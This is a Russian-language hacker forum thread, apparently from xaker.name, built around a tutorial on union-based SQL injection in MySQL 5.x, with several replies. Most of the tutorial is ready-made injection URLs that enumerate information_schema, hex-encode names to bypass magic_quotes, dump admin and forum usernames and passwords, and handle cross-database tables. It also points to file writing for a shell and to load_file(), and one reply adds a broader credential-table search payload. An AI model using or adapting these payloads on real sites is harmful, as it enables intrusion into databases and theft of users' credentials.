[Intro] Наверное этой статьей закончиться цикл статей о проведении sql иньекций. Практически все ее виды мы постарлись растолковать. Так что дальше ждем ваших вопросов в соответсвующих темах. Несмотря на то что sql иньекция в 5 версии mysql считаеться самой легкой, и здесь есть некоторый особенности, которые нужно знать, чтобы не тратить много времени [Tables] Главной особенностью mysql 5x являетьсся беспрепятсвенный доступ к техническим таблицам information_schema.columns и information_schema.tables, которые позволяют нам узнать имена таблиц и колонок в данной бд. Однако не спишите стучаться в них и начинать перебирать все таблички которых может быть 70 или 300 или 900.... Сначала смотрим не наличиствуют ли тут стандартные таблицы(такие как user, users, admin, какие либо стандартные форумные таблицы). И только убдившись в их отсутсвие или в недостаточности информации в них обращаемся к information_schema [Перебор] Это вообще страшное занятие перебирать 300 таблиц руками, а потом искать соответсвия между названиями имен таблиц и колонок. Сидеть и часами щелкать лимитом перебирая кучу техники и наконец на какой нибудь 268 позиции обнаруживать таблицу alaverd1234_im_frik_users. Забыли про этот убогий метод. 5-я ветка дает нам прекрасную возможность составлять подзапросы. Представим себе запрос Код: http://somebody.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables/* Немного подумав, можно понять что нас интересуют таблицы в которых есть какие-то пароли... припоминаем стандартные имена колонок: password, pass, user_password,pwd..... Так почему бы не извлечь таблицы которые содержат эти колонки, вполне возможно что в них и будет содержаться нужная информация, состовляем запрос Код: http://somebody.com/index.php?id=1+union+select+1,2,table_name,4,5+from+information_schema.columns+where+column_name=0x70617373776f7264/* Кодируем название колонки в 0xhex, чтобы избежать лишних столкновений с magic_quotes=on Если вы получили ответ, попработайте лимитом, возможно еще какие то таблицы содержат колонку password. Предположим мы получили 2 таблицы: blablaass_admin и forum_users Слудющим шагом станет получение колонок: Код: http://somebody.com/index.php?id=1+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_name=0x626c61626c616173735f61646d696e/* Кодируем название таблицы blablaass_admin и составляем подзапрос. Получаем ответ, работаем лимитом и по логике выбираем нужные нам данные, предположим ими стали колонки: adminID, adm_login,password. Все мы имеем всю нужную информацию чтобы вывести данные. А ведь если бы мы работали лимитом с данными из .talbes, мы моглибы встретить эту таблицу с админами на какой нибудь двухсотой позиции! Код: http://somebody.com/index.php?id=1+union+select+1,2,concat_ws(char(58,58),adminID, adm_login,password),4,5+from+blablaass_admin+limit+1,1/* Выводим первую запись получаем данные: PHP: 1::administrator::superpassword Пароль может быть как чистым, так и ввиде хеша [Базы] Далее поковыряем аналогичным образом таблицу forum_users. Предположим что мы извлекли оттуда колонки: ID, username,password и составили впоне корректный на первый взгляд запрос Код: http://somebody.com/index.php?id=1+union+select+1,2,concat_ws(char(58,58),ID,username,password),4,5+from+forum_users/* И к огромному удивлению получаем огромную ошибищу.. что же не так. Здесь может быть 2 варианта(опустим тот при котором чтение из таблицы запрещено) 1 очень простой: данные из таблы требуют конвертации Код: http://somebody.com/index.php?id=1+union+select+1,2,(convert(concat_ws(char(58,58),ID,username,password)+using+latin1),4,5+from+forum_users/* если и тогда данных вы не получили, значит дело в несовпадении баз, такое очень часто случаеться, особенно с форумами и с прочими поддоменами типа маленьких инет_лабазов и.т.п Смотрим имя базы Код: http://somebody.com/index.php?id=1+union+select+1,2,table_schema,4,5+from+information_schema.tables+where+table_name=0x666f72756d5f7573657273/* В закодированном виде у нас название таблиц - forum_users Получаем ответ вроде такого: PHP: myforum и составляем уже правельный запрос Код: http://somebody.com/index.php?id=1+union+select+1,2,concat_ws(char(58,58),ID,username,password),4,5+from+myforum.forum_users/* Table_schema можно смотреть сразу вместе с именами таблиц при их выборки для этого кнокатим table_name и table_schema [Shell] Создать файл послав запрос к базе в 5ой ветке гораздо проще. Конечно для этого нужны права, которые редко встретишь, однакож отсутсвует проблема 4.x.x ветки, когда надо было указывать абсолютные пути в кавычках, кодировать пути было нельзя. В 5ой ветке это сделать можно, т.е мы легко обходим magic_quotes=ON. Подробнее о составлении запроса смотрите мою тему проведение Mysql иньекции [Count] Чтобы сразу иметь представление о том с какими размерами вы столкнулись проверьте колличество таблиц Код: http://somebody.com/index.php?id=1+union+select+1,2,count(table_name),4,5+from+information_schema.tables/* Это необязательно просто совет [END] Незабывайте что 5 я ветка не ограничивает нас в использовании читалки файлоы - load_file(), пользуйтесь и ей. Выражаю благодарности Koller и Helkern(надеюсь ты обретешь данный цвет в скором времени), которые работали вместе со мной над статьями по проведение SQL иньекций [Video] http://www.rapidshare.ru/456113 http://webfile.ru/1584163 (с) Constantine Специально для xaker.name Freeman
Constantine, отличная статья но я надеюсь что юзеры еще захотят продолжения цикла)) а то жалко заканчивать скули так....=(
Поиск в таблицах Ну раз тема называется Проведение иньекции в mysql 5.x.x, то выжимать из неё нужно все по максимуму. Маленькое дополнение: Иногда, когда копаешь сайт и количество таблиц на нём измеряется сотнями найти нужную таблиу перебирая все записи limit'ом практически не реально, да и вообще за частую это дело глупое, достаточно часто, легче сформировать конкретный запрос. Начнем с того что определимся что нам нужно, а что обычно нужно? правильно логины и пароли, т.е. нам нужно узнать 1)имя таблицы где они будут лежать 2)имена колонок, но зная имя таблицы найти имена колонок сможет любой, а вот отыскать название таблицы... Имена таблиц как правило содержат слово user (+ какой нидь префикс), а имена колонок как правило login и password (но опять же с каким нидь префиксов и т.д.). Составлять конкретные запросы (select table_name from information_schema.columns where column_name='login') не имеет смысл, т.к. вероятность что имена колонок будут именно такими очень мала. Но здесь отлично поможет like, поиск с ним расширит рамки, а использовать его нужно так: select table_name from information_schema.columns where column_name like %login% Результатом будет вывод таблиц имеющих колонку содержащую слово login, т.е. имя колонки admin_login2 удовлетворит условию поиска, а это существенно расширит диапазон поиска. Теперь составим более сложный запрос и в тоже время универсальный запрос: select table_name from information_schema.columns where column_name like %login% or column_name like %user% or column_name like %pass% or table_name like %user% or table_name like %admin% В результате мы получим имена таблиц в которых: 1) И/ИЛИ имя таблицы содержит слово user 2) И/ИЛИ имя таблицы содержит слово admin 3) И/ИЛИ имя колонки содержит слово user 4) И/ИЛИ имя колонки содержит слово login 5) И/ИЛИ имя колонки содержит слово pass Закинем все в хекс и вот что получится в итоге: Код: 11111111111+union+select+table_name+information_schema.columns+where+column_name+like+0x256c6f67696e25+or+column_name+like+0x257573657225+or+column_name+like+0x257061737325+or+table_name+like+0x257573657225+or+table_name+like+0x2561646d696e25+limit+0,1/* На практике такой запрос существенно облегчит поиск нужной таблицы.
Привецтвую, я вот тока не понял как делать 0xHex, есть такой сайт http://www.hack-shop.org.ru/code.php но он постояно оффлайн, какой может быть алтернатив?